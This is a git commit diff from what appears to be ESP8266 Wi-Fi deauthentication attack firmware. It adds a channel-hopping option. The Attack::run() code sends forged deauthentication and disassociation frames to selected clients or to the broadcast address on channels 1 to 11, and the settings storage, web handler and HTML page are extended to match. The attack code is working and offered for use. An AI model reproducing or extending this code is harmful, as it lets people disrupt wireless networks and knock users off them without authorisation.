Added channel hopping option

This commit is contained in:
Stefan Kremser
2017-03-12 10:56:48 +01:00
parent 141c9f17a3
commit 25a9dfe73c
6 changed files with 55 additions and 14 deletions

View File

@@ -135,23 +135,47 @@ void Attack::run(){
if(clientScan.getClientSelected(i)){
_selectedClients++;
buildDeauth(_ap, clientScan.getClientMac(i), 0xc0, settings.deauthReason );
for(int h=0;h<settings.attackPacketRate;h++) if(send()) packetsCounter[0]++;
if(settings.channelHop){
for(int j=1;j<12;j++){
wifi_set_channel(j);
buildDeauth(_ap, clientScan.getClientMac(i), 0xa0, settings.deauthReason );
for(int h=0;h<settings.attackPacketRate;h++) if(send()) packetsCounter[0]++;
buildDeauth(_ap, clientScan.getClientMac(i), 0xc0, settings.deauthReason );
if(send()) packetsCounter[0]++;
buildDeauth(_ap, clientScan.getClientMac(i), 0xa0, settings.deauthReason );
if(send()) packetsCounter[0]++;
}
}else{
buildDeauth(_ap, clientScan.getClientMac(i), 0xc0, settings.deauthReason );
for(int h=0;h<settings.attackPacketRate;h++) if(send()) packetsCounter[0]++;
buildDeauth(_ap, clientScan.getClientMac(i), 0xa0, settings.deauthReason );
for(int h=0;h<settings.attackPacketRate;h++) if(send()) packetsCounter[0]++;
}
}
}
if(_selectedClients == 0){
Mac _client;
_client.set(0xFF,0xFF,0xFF,0xFF,0xFF,0xFF);
buildDeauth(_ap, _client, 0xc0, 0x01 );
for(int h=0;h<settings.attackPacketRate;h++) if(send()) packetsCounter[0]++;
buildDeauth(_ap, _client, 0xa0, 0x01 );
for(int h=0;h<settings.attackPacketRate;h++) if(send()) packetsCounter[0]++;
if(settings.channelHop){
for(int j=1;j<12;j++){
wifi_set_channel(j);
buildDeauth(_ap, _client, 0xc0, settings.deauthReason );
if(send()) packetsCounter[0]++;
buildDeauth(_ap, _client, 0xa0, settings.deauthReason );
if(send()) packetsCounter[0]++;
}
}else{
buildDeauth(_ap, _client, 0xc0, settings.deauthReason );
for(int h=0;h<settings.attackPacketRate;h++) if(send()) packetsCounter[0]++;
buildDeauth(_ap, _client, 0xa0, settings.deauthReason );
for(int h=0;h<settings.attackPacketRate;h++) if(send()) packetsCounter[0]++;
}
}
}
@@ -370,7 +394,7 @@ void Attack::refreshLed(){
int numberRunning = 0;
for(int i=0; i<sizeof(isRunning); i++){
if(isRunning[i]) numberRunning++;
if(debug) Serial.println(numberRunning);
//if(debug) Serial.println(numberRunning);
}
if(numberRunning>=1 && settings.useLed){
if(debug) Serial.println("Attack LED : ON");

View File

@@ -31,6 +31,7 @@ void Settings::load(){
clientScanTime = EEPROM.read(clientScanTimeAdr);
attackEncrypted = (bool)EEPROM.read(attackEncryptedAdr);
useLed = (bool)EEPROM.read(useLedAdr);
channelHop = (bool)EEPROM.read(channelHopAdr);
}
}
@@ -53,6 +54,7 @@ void Settings::reset(){
clientScanTime = 15;
attackEncrypted = false;
useLed = false;
channelHop = false;
if(debug) Serial.println("done");
@@ -81,6 +83,7 @@ void Settings::save(){
EEPROM.write(clientScanTimeAdr, clientScanTime);
EEPROM.write(attackEncryptedAdr, attackEncrypted);
EEPROM.write(useLedAdr, useLed);
EEPROM.write(channelHopAdr, channelHop);
EEPROM.commit();
if(debug){
@@ -104,6 +107,7 @@ void Settings::info(){
Serial.println("client scan time: "+(String)clientScanTime);
Serial.println("attack SSID encrypted: "+(String)attackEncrypted);
Serial.println("use built-in LED: "+(String)useLed);
Serial.println("channel hopping: "+(String)channelHop);
}
String Settings::get(){
@@ -121,6 +125,7 @@ String Settings::get(){
json += "\"clientScanTime\":"+(String)clientScanTime+",";
json += "\"attackEncrypted\":"+(String)attackEncrypted+",";
json += "\"useLed\":"+(String)useLed+",";
json += "\"channelHop\":"+(String)channelHop+",";
json += "\"nameList\":[";
for(int i=0;i<nameList.len;i++){

View File

@@ -25,6 +25,7 @@ extern NameList nameList;
#define apScanHiddenAdr 1097
#define apChannelAdr 1098
#define useLedAdr 1099
#define channelHopAdr 1100
class Settings
{
@@ -52,6 +53,7 @@ class Settings
int clientScanTime;
bool attackEncrypted;
bool useLed;
bool channelHop;
private:
};

File diff suppressed because one or more lines are too long

View File

@@ -294,6 +294,10 @@ void saveSettings() {
else settings.useLed = true;
attack.refreshLed();
}
if (server.hasArg("channelHop")) {
if (server.arg("channelHop") == "false") settings.channelHop = false;
else settings.channelHop = true;
}
settings.save();
server.send( 200, "text/json", "true" );

View File

@@ -76,9 +76,12 @@
<input type="checkbox" name="ssidEnc" id="ssidEnc" value="false">
<br />
<label for="useLed">Use LED:</label>
<label for="useLed">use LED:</label>
<input type="checkbox" name="useLed" id="useLed" value="false">
<br />
<label for="channelHop">channel hopping:</label>
<input type="checkbox" name="channelHop" id="channelHop" value="false">
<br />
<label for="deauthReason">deauth reason:</label>
<input type="number" id="deauthReason" min="1" max="45">
@@ -120,6 +123,7 @@
var clientNames = document.getElementById('clientNames');
var ssidEnc = document.getElementById('ssidEnc');
var useLed = document.getElementById('useLed');
var channelHop = document.getElementById('channelHop');
var res;
function getData(){
@@ -137,6 +141,7 @@
packetRate.value = res.attackPacketRate;
ssidEnc.checked = res.attackEncrypted;
useLed.checked = res.useLed;
channelHop.checked = res.channelHop;
clientNames.innerHTML = "Client Names "+res.nameList.length+"/50";
@@ -189,6 +194,7 @@
url += "&packetRate="+packetRate.value;
url += "&ssidEnc="+ssidEnc.checked;
url += "&useLed="+useLed.checked;
url += "&channelHop="+channelHop.checked;
getResponse(url, function(responseText){
if(responseText == "true"){